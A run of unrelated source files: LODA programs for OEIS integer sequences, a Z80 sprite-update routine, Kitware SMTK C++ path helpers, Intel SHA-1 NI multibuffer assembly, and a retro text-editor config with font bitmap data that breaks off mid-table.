lpb $2,1 lpb $5,1 mov $5,$2 mov $2,$3 mul $6,$3 mul $5,$6 sub $5,1 lpe add $0,$2 sub $2,1 mov $5,$0 mul $5,2 sub $6,$6 add $6,4 lpe mov $10,$9 mov $12,$2 lpb $10,1 mov $8,$12 sub $10,1 lpe lpe lpb $7,1 mov $7,0 sub $8,$12 lpe mov $12,$8 add $12,1 add $1,$12 lpe
; A008514: 4-dimensional centered cube numbers. ; 1,17,97,337,881,1921,3697,6497,10657,16561,24641,35377,49297,66977,89041,116161,149057,188497,235297,290321,354481,428737,514097,611617,722401,847601,988417,1146097,1321937,1517281,1733521,1972097,2234497,2522257,2836961,3180241,3553777,3959297,4398577,4873441,5385761,5937457,6530497,7166897,7848721,8578081,9357137,10188097,11073217,12014801,13015201,14076817,15202097,16393537,17653681,18985121,20390497,21872497,23433857,25077361,26805841,28622177,30529297,32530177,34627841,36825361,39125857,41532497,44048497,46677121,49421681,52285537,55272097,58384817,61627201,65002801,68515217,72168097,75965137,79910081,84006721,88258897,92670497,97245457,101987761,106901441,111990577,117259297,122711777,128352241,134184961,140214257,146444497,152880097,159525521,166385281,173463937,180766097,188296417,196059601,204060401,212303617,220794097,229536737,238536481,247798321,257327297,267128497,277207057,287568161,298217041,309158977,320399297,331943377,343796641,355964561,368452657,381266497,394411697,407893921,421718881,435892337,450420097,465308017,480562001,496188001,512192017,528580097,545358337,562532881,580109921,598095697,616496497,635318657,654568561,674252641,694377377,714949297,735974977,757461041,779414161,801841057,824748497,848143297,872032321,896422481,921320737,946734097,972669617,999134401,1026135601,1053680417,1081776097,1110429937,1139649281,1169441521,1199814097,1230774497,1262330257,1294488961,1327258241,1360645777,1394659297,1429306577,1464595441,1500533761,1537129457,1574390497,1612324897,1650940721,1690246081,1730249137,1770958097,1812381217,1854526801,1897403201,1941018817,1985382097,2030501537,2076385681,2123043121,2170482497,2218712497,2267741857,2317579361,2368233841,2419714177,2472029297,2525188177,2579199841,2634073361,2689817857,2746442497,2803956497,2862369121,2921689681,2981927537,3043092097,3105192817,3168239201,3232240801,3297207217,3363148097,3430073137,3497992081,3566914721,3636850897,3707810497,3779803457,3852839761,3926929441,4002082577,4078309297,4155619777,4234024241,4313532961,4394156257,4475904497,4558788097,4642817521,4728003281,4814355937,4901886097,4990604417,5080521601,5171648401,5263995617,5357574097,5452394737,5548468481,5645806321,5744419297,5844318497,5945515057,6048020161,6151845041,6257000977,6363499297,6471351377,6580568641,6691162561,6803144657,6916526497,7031319697,7147535921,7265186881,7384284337,7504840097,7626866017,7750374001 add $0,1 bin $0,2 add $0,1 bin $0,2 mov $1,$0 mul $1,16 add $1,1
; sp1_UpdateNow ; 01.2006 aralbrec, Sprite Pack v3.0 ; sinclair spectrum version PUBLIC sp1_UpdateNow EXTERN SP1DrawUpdateStruct EXTERN SP1V_UPDATELISTH, SP1V_UPDATELISTT ; Iterates through the invalidated tiles list, drawing all invalidated tiles on screen. ; Validates them and removes them from the list along the way. ; ; enter : none ; uses : af, bc, de, hl, ix, b' for MaskLB and MaskRB sprites .sp1_UpdateNow ld hl,(SP1V_UPDATELISTH+6) ; get the first struct update char to draw ld a,l ld l,h ld h,a ; correct endianness or a jp nz, updatelp ret ; if empty update list .skipthischar ld bc,6 add hl,bc ; hl = & struct update.next_update ld a,(hl) or a jr z, doneupdate ; return if no next struct update inc hl ld l,(hl) ld h,a ; hl = next struct update .updatelp bit 6,(hl) ; if this update char has been removed from the display skip it jr nz, skipthischar ld a,$80 xor (hl) ; (hl) = # load sprites, bit 7 set for marked to update jp m, skipthischar ; if bit 7 was reset (now set), this char was validated so skip it ld (hl),a ; mark char as not needing update (bit 7 is reset) ld b,a ; b = # of occluding sprites in this char + 1 ; b = # occluding sprites in char + 1 ; hl = & struct sp1_update call SP1DrawUpdateStruct ; bc = & next sp1_update in update list ld l,c ld h,b inc b ; go to next char to update (more if b!=0) djnz updatelp .doneupdate xor a ld (SP1V_UPDATELISTH+6),a ; mark update list empty ld hl,SP1V_UPDATELISTH ld (SP1V_UPDATELISTT),hl ret
//========================================================================= // Copyright (c) Kitware, Inc. // All rights reserved. // See LICENSE.txt for details. // // This software is distributed WITHOUT ANY WARRANTY; without even // the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR // PURPOSE. See the above copyright notice for more information. //========================================================================= #include "smtk/io/Helpers.h" #include "boost/filesystem.hpp" #include <algorithm> #include <iostream> #include <sstream> namespace smtk { namespace io { bool Helpers::isDirectoryASubdirectory( const std::string& aas, const std::string& bbs, std::string& brela) { using namespace boost::filesystem; path aa(aas); path bb(bbs); path ac = weakly_canonical(aa); path bc = bb.is_relative() ? weakly_canonical(absolute(bb, ac).lexically_normal()) : weakly_canonical(bb); // Inputs to try: // + /tmp/foo/bar/baz/aa /tmp/foo/bb // + /tmp/foo/bar/baz/a bb // + /tmp/foo/bar/baz/a ../../barf/bb /* std::cout << "aa " << aa << "\n" << "bb " << bb << "\n" << "canonical(aa) " << ac << "\n" << "canonical(bb) " << bc << "\n" ; */ path ar = weakly_canonical(aa); const path& br = bc; // Want to use std::mismatch(ar.begin(), ar.end(), br.begin(), br.end()).first == ar.end(); // but it fails to compile on macos because "path::iterator does not provide a call operator". // return std::mismatch(ar.begin(), ar.end(), br.begin(), br.end()).first == ar.end(); path::const_iterator ai; path::const_iterator bi; int ns = 0; bool diverged = false; for (ai = ar.begin(), bi = br.begin(); ai != ar.end() && bi != br.end(); ++ai, ++bi) { if (!diverged && *ai == *bi) { // std::cout << " \"" << *ai << "\"\n"; ++ns; } else { diverged = true; } } /* std::cout << "Paths have " << ns << " elements in common\n" << "Paths " << (diverged ? "have" : "have not") << " diverged\n" << "br rel ar is " << br.lexically_relative(ar) << "\n" << "ai @ end " << (ai == ar.end() ? "Y" : "N") << " bi @ end " << (bi == br.end() ? "Y" : "N") << "\n" ; */ bool result = !diverged && ai == ar.end(); if (result) { brela = br.lexically_relative(ar).string(); } return result; } bool Helpers::isSMTKFilename(const std::string& pathToFile, std::string& containingDir) { using namespace ::boost::filesystem; path ptf = weakly_canonical(pathToFile); /* std::cout << ptf << " stem " << ptf.stem() << "\n" << ptf << " extension " << ptf.extension() << "\n" ; */ if (!ptf.stem().empty() && ptf.extension() == ".smtk") { containingDir = ptf.parent_path().string(); return true; } return false; } std::string Helpers::uniqueFilename( const std::string& start, std::set<std::string>& preExisting, const std::string& defaultStem, const std::string& defaultExtension, const std::string& base) { using namespace ::boost::filesystem; std::string init(start); if (is_directory(relative(init, base))) { init = (path(init) / (defaultStem + "_1" + defaultExtension)).string(); } if (preExisting.find(init) == preExisting.end() && !exists(relative(init, base))) { preExisting.insert(init); return init; } // Something matches; change the filename stem and keep trying until we succeed. using namespace ::boost::filesystem; path fname(init); std::string ext = fname.extension().string(); if (ext.empty()) { ext = defaultExtension; } do { std::string stem = fname.stem().string(); if (stem.empty() || stem == ".") { stem = defaultStem + "_1"; } else { // look for a pre-existing "_#" pattern. std::size_t found = stem.find_last_of('_'); if (found == std::string::npos) { stem += "_1"; } else { std::istringstream convert(stem.substr(found + 1)); int seqnum = 0; if (convert >> seqnum) { std::ostringstream update; update << stem.substr(0, found) << "_" << (seqnum + 1); stem = update.str(); } else { stem += "_1"; } } } fname.remove_filename(); fname /= (stem + ext); } while (preExisting.find(fname.string()) != preExisting.end() || exists(relative(fname, base))); preExisting.insert(fname.string()); return fname.string(); } } // namespace io } // namespace smtk
; A089801: a(n) = 0 unless n = 3j^2+2j or 3j^2+4j+1 for some j>=0, in which case a(n) = 1. ; 1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0 mul $0,3 add $0,1 mov $2,3 lpb $0 sub $0,$2 add $2,2 lpe sub $0,1 bin $1,$0 mov $0,$1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Copyright(c) 2011-2016 Intel Corporation All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; * Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; * Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; * Neither the name of Intel Corporation nor the names of its ; contributors may be used to endorse or promote products derived ; from this software without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %include "sha1_mb_mgr_datastruct.asm" %include "reg_sizes.asm" %ifdef HAVE_AS_KNOWS_SHANI [bits 64] default rel section .text %ifidn __OUTPUT_FORMAT__, elf64 ; Linux %define arg0 rdi %define arg1 rsi %else ; Windows %define arg0 rcx %define arg1 rdx %endif ;; FRAMESZ plus pushes must be an odd multiple of 8 %define FRAMESZ 64 ; space for ABCDE %define RSPSAVE rax %define ABCD xmm0 ; two E's b/c for ping-pong %define E0 xmm1 %define E1 xmm2 %define MSG0 xmm3 %define MSG1 xmm4 %define MSG2 xmm5 %define MSG3 xmm6 %define ABCDb xmm7 %define E0b xmm8 ; Need two E's b/c they ping pong %define E1b xmm9 %define MSG0b xmm10 %define MSG1b xmm11 %define MSG2b xmm12 %define MSG3b xmm13 %define SHUF_MASK xmm14 ; arg index is start from 0 while mgr_flush/submit is from 1 %define MGR arg0 %define NBLK arg1 %define NLANX4 r10 ; consistent with caller %define IDX r8 ; local variable -- consistent with caller %define DPTR r11 ; local variable -- input buffer pointer %define DPTRb r12 ; %define TMP r9 ; local variable -- assistant to address digest %define TMPb r13 ; local variable -- assistant to address digest align 32 ; void sha1_ni_x2(SHA1_MB_ARGS_Xn *args, uint32_t size_in_blocks); ; arg 0 : MGR : pointer to args (only 4 of the 16 lanes used) ; arg 1 : NBLK : size (in blocks) ;; assumed to be >= 1 ; invisibile arg 2 : IDX : hash on which lane ; invisibile arg 3 : NLANX4 : max lanes*4 for this arch (digest is placed by it) ; (sse/avx is 4, avx2 is 8, avx512 is 16) ; ; Clobbers registers: rax, r9~r13, xmm0-xmm14 ; mk_global sha1_ni_x2, function, internal sha1_ni_x2: endbranch mov RSPSAVE, rsp sub rsp, FRAMESZ and rsp, ~0xF ; Align 16Bytes downward shl NBLK, 6 ; transform blk amount into bytes jz backto_mgr ; detach idx from nlanx4 mov IDX, NLANX4 shr NLANX4, 8 and IDX, 0xff lea TMP, [MGR + _args_digest ]; lea TMPb,[MGR + _args_digest + 4*1]; ;; Initialize digest pinsrd ABCD, [TMP + 0*NLANX4], 3 pinsrd ABCD, [TMP + 1*NLANX4], 2 pinsrd ABCD, [TMP + 2*NLANX4], 1 lea TMP, [TMP + 2*NLANX4] ; MGR + 4*IDX + 2*NLANX4 pinsrd ABCD, [TMP + 1*NLANX4], 0 pinsrd E0, [TMP + 2*NLANX4], 3 pand E0, [IDX3_WORD_MASK] pinsrd ABCDb, [TMPb + 0*NLANX4], 3 pinsrd ABCDb, [TMPb + 1*NLANX4], 2 pinsrd ABCDb, [TMPb + 2*NLANX4], 1 lea TMPb, [TMPb + 2*NLANX4] ; MGR + 4*IDX + 2*NLANX4 pinsrd ABCDb, [TMPb + 1*NLANX4], 0 pinsrd E0b, [TMPb + 2*NLANX4], 3 pand E0b, [IDX3_WORD_MASK] movdqa SHUF_MASK, [PSHUFFLE_SHANI_MASK] ;; Load input pointers mov DPTR, [MGR + _data_ptr ] mov DPTRb,[MGR + _data_ptr + 8*1] ;; nblk is used to indicate data end add NBLK, DPTR lloop: movdqa [rsp + 0*16], E0 movdqa [rsp + 1*16], ABCD movdqa [rsp + 2*16], E0b movdqa [rsp + 3*16], ABCDb ; do rounds 0-3 movdqu MSG0, [DPTR + 0*16] pshufb MSG0, SHUF_MASK paddd E0, MSG0 movdqa E1, ABCD sha1rnds4 ABCD, E0, 0 movdqu MSG0b, [DPTRb + 0*16] pshufb MSG0b, SHUF_MASK paddd E0b, MSG0b movdqa E1b, ABCDb sha1rnds4 ABCDb, E0b, 0 ; do rounds 4-7 movdqu MSG1, [DPTR + 1*16] pshufb MSG1, SHUF_MASK sha1nexte E1, MSG1 movdqa E0, ABCD sha1rnds4 ABCD, E1, 0 sha1msg1 MSG0, MSG1 movdqu MSG1b, [DPTRb + 1*16] pshufb MSG1b, SHUF_MASK sha1nexte E1b, MSG1b movdqa E0b, ABCDb sha1rnds4 ABCDb, E1b, 0 sha1msg1 MSG0b, MSG1b ; do rounds 8-11 movdqu MSG2, [DPTR + 2*16] pshufb MSG2, SHUF_MASK sha1nexte E0, MSG2 movdqa E1, ABCD sha1rnds4 ABCD, E0, 0 sha1msg1 MSG1, MSG2 pxor MSG0, MSG2 movdqu MSG2b, [DPTRb + 2*16] pshufb MSG2b, SHUF_MASK sha1nexte E0b, MSG2b movdqa E1b, ABCDb sha1rnds4 ABCDb, E0b, 0 sha1msg1 MSG1b, MSG2b pxor MSG0b, MSG2b ; do rounds 12-15 movdqu MSG3, [DPTR + 3*16] pshufb MSG3, SHUF_MASK sha1nexte E1, MSG3 movdqa E0, ABCD sha1msg2 MSG0, MSG3 sha1rnds4 ABCD, E1, 0 sha1msg1 MSG2, MSG3 pxor MSG1, MSG3 movdqu MSG3b, [DPTRb + 3*16] pshufb MSG3b, SHUF_MASK sha1nexte E1b, MSG3b movdqa E0b, ABCDb sha1msg2 MSG0b, MSG3b sha1rnds4 ABCDb, E1b, 0 sha1msg1 MSG2b, MSG3b pxor MSG1b, MSG3b ; do rounds 16-19 sha1nexte E0, MSG0 movdqa E1, ABCD sha1msg2 MSG1, MSG0 sha1rnds4 ABCD, E0, 0 sha1msg1 MSG3, MSG0 pxor MSG2, MSG0 sha1nexte E0b, MSG0b movdqa E1b, ABCDb sha1msg2 MSG1b, MSG0b sha1rnds4 ABCDb, E0b, 0 sha1msg1 MSG3b, MSG0b pxor MSG2b, MSG0b ; do rounds 20-23 sha1nexte E1, MSG1 movdqa E0, ABCD sha1msg2 MSG2, MSG1 sha1rnds4 ABCD, E1, 1 sha1msg1 MSG0, MSG1 pxor MSG3, MSG1 sha1nexte E1b, MSG1b movdqa E0b, ABCDb sha1msg2 MSG2b, MSG1b sha1rnds4 ABCDb, E1b, 1 sha1msg1 MSG0b, MSG1b pxor MSG3b, MSG1b ; do rounds 24-27 sha1nexte E0, MSG2 movdqa E1, ABCD sha1msg2 MSG3, MSG2 sha1rnds4 ABCD, E0, 1 sha1msg1 MSG1, MSG2 pxor MSG0, MSG2 sha1nexte E0b, MSG2b movdqa E1b, ABCDb sha1msg2 MSG3b, MSG2b sha1rnds4 ABCDb, E0b, 1 sha1msg1 MSG1b, MSG2b pxor MSG0b, MSG2b ; do rounds 28-31 sha1nexte E1, MSG3 movdqa E0, ABCD sha1msg2 MSG0, MSG3 sha1rnds4 ABCD, E1, 1 sha1msg1 MSG2, MSG3 pxor MSG1, MSG3 sha1nexte E1b, MSG3b movdqa E0b, ABCDb sha1msg2 MSG0b, MSG3b sha1rnds4 ABCDb, E1b, 1 sha1msg1 MSG2b, MSG3b pxor MSG1b, MSG3b ; do rounds 32-35 sha1nexte E0, MSG0 movdqa E1, ABCD sha1msg2 MSG1, MSG0 sha1rnds4 ABCD, E0, 1 sha1msg1 MSG3, MSG0 pxor MSG2, MSG0 sha1nexte E0b, MSG0b movdqa E1b, ABCDb sha1msg2 MSG1b, MSG0b sha1rnds4 ABCDb, E0b, 1 sha1msg1 MSG3b, MSG0b pxor MSG2b, MSG0b ; do rounds 36-39 sha1nexte E1, MSG1 movdqa E0, ABCD sha1msg2 MSG2, MSG1 sha1rnds4 ABCD, E1, 1 sha1msg1 MSG0, MSG1 pxor MSG3, MSG1 sha1nexte E1b, MSG1b movdqa E0b, ABCDb sha1msg2 MSG2b, MSG1b sha1rnds4 ABCDb, E1b, 1 sha1msg1 MSG0b, MSG1b pxor MSG3b, MSG1b ; do rounds 40-43 sha1nexte E0, MSG2 movdqa E1, ABCD sha1msg2 MSG3, MSG2 sha1rnds4 ABCD, E0, 2 sha1msg1 MSG1, MSG2 pxor MSG0, MSG2 sha1nexte E0b, MSG2b movdqa E1b, ABCDb sha1msg2 MSG3b, MSG2b sha1rnds4 ABCDb, E0b, 2 sha1msg1 MSG1b, MSG2b pxor MSG0b, MSG2b ; do rounds 44-47 sha1nexte E1, MSG3 movdqa E0, ABCD sha1msg2 MSG0, MSG3 sha1rnds4 ABCD, E1, 2 sha1msg1 MSG2, MSG3 pxor MSG1, MSG3 sha1nexte E1b, MSG3b movdqa E0b, ABCDb sha1msg2 MSG0b, MSG3b sha1rnds4 ABCDb, E1b, 2 sha1msg1 MSG2b, MSG3b pxor MSG1b, MSG3b ; do rounds 48-51 sha1nexte E0, MSG0 movdqa E1, ABCD sha1msg2 MSG1, MSG0 sha1rnds4 ABCD, E0, 2 sha1msg1 MSG3, MSG0 pxor MSG2, MSG0 sha1nexte E0b, MSG0b movdqa E1b, ABCDb sha1msg2 MSG1b, MSG0b sha1rnds4 ABCDb, E0b, 2 sha1msg1 MSG3b, MSG0b pxor MSG2b, MSG0b ; do rounds 52-55 sha1nexte E1, MSG1 movdqa E0, ABCD sha1msg2 MSG2, MSG1 sha1rnds4 ABCD, E1, 2 sha1msg1 MSG0, MSG1 pxor MSG3, MSG1 sha1nexte E1b, MSG1b movdqa E0b, ABCDb sha1msg2 MSG2b, MSG1b sha1rnds4 ABCDb, E1b, 2 sha1msg1 MSG0b, MSG1b pxor MSG3b, MSG1b ; do rounds 56-59 sha1nexte E0, MSG2 movdqa E1, ABCD sha1msg2 MSG3, MSG2 sha1rnds4 ABCD, E0, 2 sha1msg1 MSG1, MSG2 pxor MSG0, MSG2 sha1nexte E0b, MSG2b movdqa E1b, ABCDb sha1msg2 MSG3b, MSG2b sha1rnds4 ABCDb, E0b, 2 sha1msg1 MSG1b, MSG2b pxor MSG0b, MSG2b ; do rounds 60-63 sha1nexte E1, MSG3 movdqa E0, ABCD sha1msg2 MSG0, MSG3 sha1rnds4 ABCD, E1, 3 sha1msg1 MSG2, MSG3 pxor MSG1, MSG3 sha1nexte E1b, MSG3b movdqa E0b, ABCDb sha1msg2 MSG0b, MSG3b sha1rnds4 ABCDb, E1b, 3 sha1msg1 MSG2b, MSG3b pxor MSG1b, MSG3b ; do rounds 64-67 sha1nexte E0, MSG0 movdqa E1, ABCD sha1msg2 MSG1, MSG0 sha1rnds4 ABCD, E0, 3 sha1msg1 MSG3, MSG0 pxor MSG2, MSG0 sha1nexte E0b, MSG0b movdqa E1b, ABCDb sha1msg2 MSG1b, MSG0b sha1rnds4 ABCDb, E0b, 3 sha1msg1 MSG3b, MSG0b pxor MSG2b, MSG0b ; do rounds 68-71 sha1nexte E1, MSG1 movdqa E0, ABCD sha1msg2 MSG2, MSG1 sha1rnds4 ABCD, E1, 3 pxor MSG3, MSG1 sha1nexte E1b, MSG1b movdqa E0b, ABCDb sha1msg2 MSG2b, MSG1b sha1rnds4 ABCDb, E1b, 3 pxor MSG3b, MSG1b ; do rounds 72-75 sha1nexte E0, MSG2 movdqa E1, ABCD sha1msg2 MSG3, MSG2 sha1rnds4 ABCD, E0, 3 sha1nexte E0b, MSG2b movdqa E1b, ABCDb sha1msg2 MSG3b, MSG2b sha1rnds4 ABCDb, E0b, 3 ; do rounds 76-79 sha1nexte E1, MSG3 movdqa E0, ABCD sha1rnds4 ABCD, E1, 3 sha1nexte E1b, MSG3b movdqa E0b, ABCDb sha1rnds4 ABCDb, E1b, 3 ; Add current hash values with previously saved sha1nexte E0, [rsp + 0*16] paddd ABCD, [rsp + 1*16] sha1nexte E0b, [rsp + 2*16] paddd ABCDb, [rsp + 3*16] ; Increment data pointer and loop if more to process add DPTR, 64 add DPTRb, 64 cmp DPTR, NBLK jne lloop ; write out digests lea TMP, [MGR + _args_digest] pextrd [TMP + 0*NLANX4], ABCD, 3 pextrd [TMP + 1*NLANX4], ABCD, 2 pextrd [TMP + 2*NLANX4], ABCD, 1 lea TMP, [TMP + 2*NLANX4] ; MGR + 4*IDX + 2*NLANX4 pextrd [TMP + 1*NLANX4], ABCD, 0 pextrd [TMP + 2*NLANX4], E0, 3 lea TMPb, [MGR +_args_digest + 4*1] pextrd [TMPb + 0*NLANX4], ABCDb, 3 pextrd [TMPb + 1*NLANX4], ABCDb, 2 pextrd [TMPb + 2*NLANX4], ABCDb, 1 lea TMPb, [TMPb + 2*NLANX4] ; MGR + 4*IDX + 2*NLANX4 pextrd [TMPb + 1*NLANX4], ABCDb, 0 pextrd [TMPb + 2*NLANX4], E0b, 3 ; update input pointers mov [MGR + _data_ptr], DPTR mov [MGR + _data_ptr + 8*1], DPTRb backto_mgr: ;;;;;;;;;;;;;;;; ;; Postamble mov rsp, RSPSAVE ret section .data align=16 PSHUFFLE_SHANI_MASK: dq 0x08090a0b0c0d0e0f, 0x0001020304050607 IDX3_WORD_MASK: dq 0x0000000000000000, 0xFFFFFFFF00000000 %else %ifidn __OUTPUT_FORMAT__, win64 global no_sha1_ni_x2 no_sha1_ni_x2: %endif %endif ; HAVE_AS_KNOWS_SHANI
;### CONFIG ################################################################### db 0 ;paper db 1 ;pen db 6 ;font (0=system, x=alternative) db 0 ;0=autowordwrap, 1=wordwrap at position x, 2=no wordwrap dw 200 ;wordwrap-position (pixels) db 8 ;tabstop-position (chars) db 1 ;show status bar cfgpos1 ds 16-cfgpos1 db 9 dw fnt_bold dw fnt_italic dw fnt_big dw fnt_micro dw fnt_msdos dw fnt_arial11 dw fnt_courier dw fnt_eden11 dw fnt_times12 db "Bold",0 db "Italic",0 db "Big",0 db "Micro",0 db "MS-DOS",0 db "Arial11",0 db "Courier",0 db "Eden11",0 db "Times12",0 cfgpos2 ds 16+128-cfgpos2 ;### FONTS #################################################################### ;*** Font - ITALIC fnt_italic db #08,#20 db #03,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#40,#40,#80,#80,#00,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#50,#50,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#28,#7C,#28,#50,#F8,#50,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#20,#70,#60,#60,#E0,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#60,#68,#10,#40,#B0,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#20,#50,#60,#50,#A0,#50,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#20,#40,#40,#40,#80,#80,#80,#40,#00,#00,#00,#00,#00,#00,#00 db #04,#40,#20,#20,#20,#40,#40,#40,#80,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#10,#7C,#70,#88,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#10,#10,#F8,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#00,#00,#00,#C0,#40,#80,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#F0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#00,#00,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#08,#08,#10,#20,#40,#40,#80,#80,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#48,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#20,#60,#20,#40,#40,#E0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#10,#60,#80,#F0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#10,#10,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#40,#48,#88,#F0,#10,#10,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#78,#40,#70,#10,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#38,#40,#70,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#78,#08,#10,#20,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#70,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#48,#70,#10,#E0,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#40,#00,#00,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#00,#20,#00,#00,#40,#80,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#10,#60,#80,#40,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#78,#00,#F0,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#40,#20,#20,#40,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#10,#20,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#58,#B0,#80,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#78,#90,#90,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#48,#70,#90,#90,#E0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#40,#80,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#48,#48,#90,#90,#E0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#78,#40,#70,#80,#80,#F0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#78,#40,#70,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#38,#40,#58,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#48,#48,#78,#90,#90,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#40,#40,#40,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#08,#08,#08,#10,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#48,#50,#60,#A0,#90,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#40,#40,#40,#80,#80,#F0,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#44,#6C,#54,#88,#88,#88,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#44,#64,#54,#98,#88,#88,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#48,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#48,#58,#E0,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#30,#48,#48,#90,#B0,#68,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#48,#70,#90,#90,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#38,#40,#30,#10,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#7C,#10,#10,#20,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#48,#48,#48,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#44,#44,#48,#50,#50,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#44,#44,#44,#A8,#D8,#88,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#44,#28,#30,#50,#88,#88,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#44,#28,#10,#20,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#78,#08,#30,#40,#80,#F0,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#60,#40,#40,#80,#80,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#40,#40,#20,#20,#20,#20,#10,#10,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#60,#20,#20,#40,#40,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#20,#50,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#00,#00,#00,#F8,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#40,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#38,#D0,#90,#70,#00,#00,#00,#00,#00,#00,#00,#00 db 